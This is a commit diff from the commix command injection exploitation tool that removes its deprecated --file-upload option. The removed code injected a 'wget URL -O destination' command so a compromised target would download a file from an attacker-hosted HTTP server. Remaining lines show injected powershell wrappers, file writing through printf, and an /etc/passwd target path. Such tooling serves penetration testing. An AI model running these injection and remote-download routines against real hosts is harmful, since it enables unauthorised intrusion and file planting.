Skip to content

Commit e49f45f

Browse files
committed
The deprecated --file-upload option has been removed, as --file-write provides nearly identical functionality
1 parent b11690e commit e49f45f

8 files changed

Lines changed: 14 additions & 198 deletions

File tree

doc/CHANGELOG.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
11
## Version 4.2 (TBA)
2+
* Revised: The deprecated `--file-upload` option has been removed, as `--file-write` provides nearly identical functionality.
23
* Revised: Refactored `--time-sec` option to apply only to time-related techniques.
34
* Revised: The deprecated `--tor-check` flag has been removed, and Tor connectivity is now handled internally with no separate check option.
45
* Revised: Improved handling of injectable parameters in JSON objects.

src/core/injections/controller/checks.py

Lines changed: 4 additions & 103 deletions
Original file line numberDiff line numberDiff line change
@@ -2642,11 +2642,11 @@ def delete_tmp(tmp_fname):
26422642
"""
26432643
Check if file exists.
26442644
"""
2645-
def check_file(dest_to_upload):
2645+
def check_file(remote_file_path):
26462646
if settings.TARGET_OS == settings.OS.WINDOWS:
2647-
cmd = settings.FILE_LIST_WIN + dest_to_upload.replace("\\","\\\\")
2647+
cmd = settings.FILE_LIST_WIN + remote_file_path.replace("\\","\\\\")
26482648
else:
2649-
cmd = settings.FILE_LIST + dest_to_upload
2649+
cmd = settings.FILE_LIST + remote_file_path
26502650
cmd = add_command_substitution(cmd)
26512651
return cmd
26522652

@@ -2695,13 +2695,11 @@ def file_read_status(shell, file_to_read, filename):
26952695
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
26962696

26972697
"""
2698-
Check upload/write destination
2698+
Build the final destination path for file write operations.
26992699
"""
27002700
def check_destination(destination):
27012701
if menu.options.file_write:
27022702
where = menu.options.file_write
2703-
else:
2704-
where = menu.options.file_upload
27052703
if os.path.split(destination)[1] == "" :
27062704
_ = os.path.split(destination)[0] + "/" + os.path.split(where)[1]
27072705
elif os.path.split(destination)[0] == "/":
@@ -2751,98 +2749,6 @@ def file_write_status(shell, dest_to_write):
27512749
warn_msg = "It seems you do not have permission to write files to the remote directory '" + dest_to_write + "'."
27522750
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
27532751

2754-
"""
2755-
Handle the file upload process to a remote target.
2756-
"""
2757-
def check_file_to_upload():
2758-
file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode()
2759-
try:
2760-
_urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT)
2761-
except (_urllib.error.HTTPError, _urllib.error.URLError) as err_msg:
2762-
warn_msg = "The remote file '" + file_to_upload + "' does not appear to exist. (" +str(err_msg)+ ")"
2763-
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
2764-
raise SystemExit()
2765-
except ValueError as err_msg:
2766-
err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1]
2767-
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
2768-
raise SystemExit()
2769-
dest_to_upload = check_destination(destination=menu.options.file_dest)
2770-
info_msg = "Attempting to upload the file '"
2771-
info_msg += file_to_upload + "' to the remote directory '" + dest_to_upload + "'."
2772-
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
2773-
# Execute command
2774-
cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload
2775-
return cmd, dest_to_upload
2776-
2777-
"""
2778-
File upload status.
2779-
"""
2780-
def file_upload_status(shell, dest_to_upload):
2781-
if shell:
2782-
info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'."
2783-
settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg))
2784-
else:
2785-
warn_msg = "It seems you do not have permission to upload files on the remote directory '" + dest_to_upload + "'."
2786-
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
2787-
2788-
"""
2789-
Check if defined "--file-upload" option.
2790-
"""
2791-
def file_upload():
2792-
if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload):
2793-
# if not menu.options.file_dest.endswith("/"):
2794-
# menu.options.file_dest = menu.options.file_dest + "/"
2795-
# Check if not defined URL for upload.
2796-
while True:
2797-
message = "Do you want to enable a local HTTP server? [Y/n] > "
2798-
enable_HTTP_server = common.read_input(message, default="Y", check_batch=True)
2799-
if enable_HTTP_server in settings.CHOICE_YES:
2800-
2801-
# Check if file exists
2802-
if not os.path.isfile(menu.options.file_upload):
2803-
err_msg = "The '" + menu.options.file_upload + "' file, does not exist."
2804-
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
2805-
raise SystemExit()
2806-
2807-
# Setting the local HTTP server.
2808-
if settings.LOCAL_HTTP_IP == None:
2809-
while True:
2810-
message = "Please enter your interface IP address > "
2811-
ip_addr = common.read_input(message, default=None, check_batch=True)
2812-
# check if IP address is valid
2813-
ip_check = simple_http_server.is_valid_ipv4(ip_addr)
2814-
if ip_check == False:
2815-
err_msg = "The provided IP address seems not valid."
2816-
settings.print_data_to_stdout(settings.print_error_msg(err_msg))
2817-
pass
2818-
else:
2819-
settings.LOCAL_HTTP_IP = ip_addr
2820-
break
2821-
2822-
# Check for invalid HTTP server's port.
2823-
if settings.LOCAL_HTTP_PORT < 1 or settings.LOCAL_HTTP_PORT > 65535:
2824-
err_msg = "Invalid HTTP server's port (" + str(settings.LOCAL_HTTP_PORT) + ")."
2825-
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
2826-
raise SystemExit()
2827-
2828-
http_server = "http://" + str(settings.LOCAL_HTTP_IP) + ":" + str(settings.LOCAL_HTTP_PORT)
2829-
info_msg = "Setting the HTTP server on '" + http_server + "/'. "
2830-
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
2831-
menu.options.file_upload = http_server + menu.options.file_upload
2832-
simple_http_server.main()
2833-
break
2834-
2835-
elif enable_HTTP_server in settings.CHOICE_NO:
2836-
if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload):
2837-
err_msg = "The provided '--file-upload' option requires the activation of a local HTTP server."
2838-
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
2839-
raise SystemExit()
2840-
break
2841-
elif enable_HTTP_server in settings.CHOICE_QUIT:
2842-
raise SystemExit()
2843-
else:
2844-
common.invalid_option(enable_HTTP_server)
2845-
pass
28462752

28472753
def define_vulnerable_http_header(http_header_name):
28482754
if http_header_name == settings.USER_AGENT.lower():
@@ -2865,11 +2771,6 @@ def check_wrong_flags():
28652771
if menu.options.passwords:
28662772
warn_msg = "The '--passwords' option is not yet supported on Windows targets."
28672773
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
2868-
if menu.options.file_upload :
2869-
warn_msg = "The '--file-upload' option is not yet supported on Windows targets. "
2870-
warn_msg += "Instead, use the '--file-write' option."
2871-
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
2872-
raise SystemExit()
28732774
else:
28742775
if menu.options.is_admin :
28752776
warn_msg = "Switching '--is-admin' to '--is-root' because "

src/core/injections/controller/file_access.py

Lines changed: 1 addition & 54 deletions
Original file line numberDiff line numberDiff line change
@@ -97,51 +97,6 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
9797
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
9898
checks.file_write_status(shell, dest_to_write)
9999

100-
"""
101-
Upload a file on the target host.
102-
"""
103-
def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique):
104-
if technique == settings.INJECTION_TECHNIQUE.CLASSIC:
105-
from src.core.injections.results_based.techniques.classic import cb_injector as injector
106-
elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE:
107-
from src.core.injections.results_based.techniques.eval_based import eb_injector as injector
108-
elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
109-
from src.core.injections.blind.techniques.time_based import tb_injector as injector
110-
elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
111-
from src.core.injections.semiblind.techniques.file_based import fb_injector as injector
112-
else:
113-
from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector
114-
cmd, dest_to_upload = checks.check_file_to_upload()
115-
if settings.TIME_RELATED_ATTACK:
116-
if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
117-
check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique)
118-
else:
119-
check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique)
120-
else:
121-
if technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
122-
response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique)
123-
else:
124-
response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique)
125-
shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec)
126-
shell = "".join(str(p) for p in shell)
127-
cmd = checks.check_file(dest_to_upload)
128-
if settings.TIME_RELATED_ATTACK:
129-
check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique)
130-
else:
131-
if settings.USE_BACKTICKS:
132-
cmd = checks.remove_command_substitution(cmd)
133-
if technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
134-
response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique)
135-
else:
136-
response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique)
137-
shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec)
138-
shell = "".join(str(p) for p in shell)
139-
if settings.TIME_RELATED_ATTACK:
140-
if settings.VERBOSITY_LEVEL == 0:
141-
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
142-
checks.file_upload_status(shell, dest_to_upload)
143-
144-
145100
"""
146101
Read a file from the target host.
147102
"""
@@ -190,15 +145,7 @@ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h
190145
if menu.options.file_write:
191146
file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique)
192147
settings.FILE_ACCESS_DONE = True
193-
194-
if menu.options.file_upload:
195-
if settings.TARGET_OS == settings.OS.WINDOWS:
196-
check_option = "--file-upload"
197-
checks.unavailable_option(check_option)
198-
else:
199-
file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique)
200-
settings.FILE_ACCESS_DONE = True
201-
148+
202149
if menu.options.file_read:
203150
file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique)
204151
settings.FILE_ACCESS_DONE = True

src/core/injections/controller/injector.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -56,7 +56,7 @@ def time_related_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespa
5656
else:
5757
cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()"
5858

59-
if menu.options.file_write or menu.options.file_upload:
59+
if menu.options.file_write:
6060
minlen = 0
6161
else:
6262
minlen = 1

src/core/main.py

Lines changed: 4 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -496,14 +496,13 @@ def main(filename, url, http_request_method):
496496
raise SystemExit()
497497

498498
# Check the file-destination
499-
if menu.options.file_write and not menu.options.file_dest or \
500-
menu.options.file_upload and not menu.options.file_dest:
501-
err_msg = "Host's absolute filepath to write and/or upload, must be specified (i.e. '--file-dest')."
499+
if menu.options.file_write and not menu.options.file_dest:
500+
err_msg = "Host's absolute filepath to write, must be specified (i.e. '--file-dest')."
502501
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
503502
raise SystemExit()
504503

505-
if menu.options.file_dest and menu.options.file_write == None and menu.options.file_upload == None:
506-
err_msg = "You must enter the '--file-write' or '--file-upload' parameter."
504+
if menu.options.file_dest and menu.options.file_write == None:
505+
err_msg = "You must enter the '--file-write' parameter."
507506
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
508507
raise SystemExit()
509508

@@ -522,18 +521,6 @@ def main(filename, url, http_request_method):
522521
password=password
523522
)
524523
try:
525-
# Check if defined "--file-upload" option.
526-
if menu.options.file_upload:
527-
menu.options.file_upload = os.path.abspath(menu.options.file_upload)
528-
checks.file_upload()
529-
try:
530-
_urllib.request.urlopen(menu.options.file_upload, timeout=settings.TIMEOUT)
531-
except _urllib.error.HTTPError as err_msg:
532-
settings.print_data_to_stdout(settings.print_critical_msg(str(err_msg.code)))
533-
raise SystemExit()
534-
except _urllib.error.URLError as err_msg:
535-
settings.print_data_to_stdout(settings.print_critical_msg(str(err_msg.reason) + "."))
536-
raise SystemExit()
537524
try:
538525
info_msg = "Performing heuristic (passive) tests on the target URL."
539526
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
@@ -566,7 +553,6 @@ def main(filename, url, http_request_method):
566553
if menu.options.tamper:
567554
settings.USER_APPLIED_TAMPER = menu.options.tamper
568555
checks.tamper_scripts(stored_tamper_scripts=False)
569-
570556
except AttributeError:
571557
pass
572558

src/core/modules/shellshock/shellshock.py

Lines changed: 0 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -164,17 +164,6 @@ def file_access(url, cve, check_header, filename):
164164
checks.file_write_status(shell, dest_to_write)
165165
settings.FILE_ACCESS_DONE = True
166166

167-
if menu.options.file_upload:
168-
cmd, dest_to_upload = checks.check_file_to_upload()
169-
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
170-
shell = "".join(str(p) for p in shell)
171-
cmd = checks.check_file(dest_to_upload)
172-
cmd = checks.remove_command_substitution(cmd)
173-
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
174-
shell = "".join(str(p) for p in shell)
175-
checks.file_upload_status(shell, dest_to_upload)
176-
settings.FILE_ACCESS_DONE = True
177-
178167
if menu.options.file_read:
179168
cmd, file_to_read = checks.file_content_to_read()
180169
cmd = checks.remove_command_substitution(cmd)

src/utils/menu.py

Lines changed: 2 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -417,15 +417,10 @@ def banner():
417417
dest="file_write",
418418
help="Write to a file on the target host.")
419419

420-
file_access.add_option("--file-upload",
421-
action="store",
422-
dest="file_upload",
423-
help="Upload a file on the target host.")
424-
425420
file_access.add_option("--file-dest",
426421
action="store",
427422
dest="file_dest",
428-
help="Host's absolute filepath to write and/or upload to.")
423+
help="Host's absolute filepath to write to.")
429424

430425
# Modules options
431426
modules = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Modules" + Style.RESET_ALL,
@@ -753,7 +748,7 @@ def enumeration_options():
753748
Check if file access options are enabled.
754749
"""
755750
def file_access_options():
756-
if any((options.file_write, options.file_upload, options.file_read)):
751+
if any((options.file_write, options.file_read)):
757752
return True
758753

759754
# eof

src/utils/settings.py

Lines changed: 1 addition & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -262,7 +262,7 @@ def sys_argv_errors():
262262
DESCRIPTION = "The command injection exploiter"
263263
AUTHOR = "Anastasios Stasinopoulos"
264264
VERSION_NUM = "4.2"
265-
REVISION = "20"
265+
REVISION = "21"
266266
STABLE_RELEASE = False
267267
VERSION = "v"
268268
if STABLE_RELEASE:
@@ -704,9 +704,6 @@ class OS(object):
704704
# Write file
705705
FILE_WRITE = "printf "
706706

707-
# Write file
708-
FILE_UPLOAD = "wget "
709-
710707
# /etc/passwd
711708
PASSWD_FILE = "/etc/passwd"
712709

0 commit comments

Comments
 (0)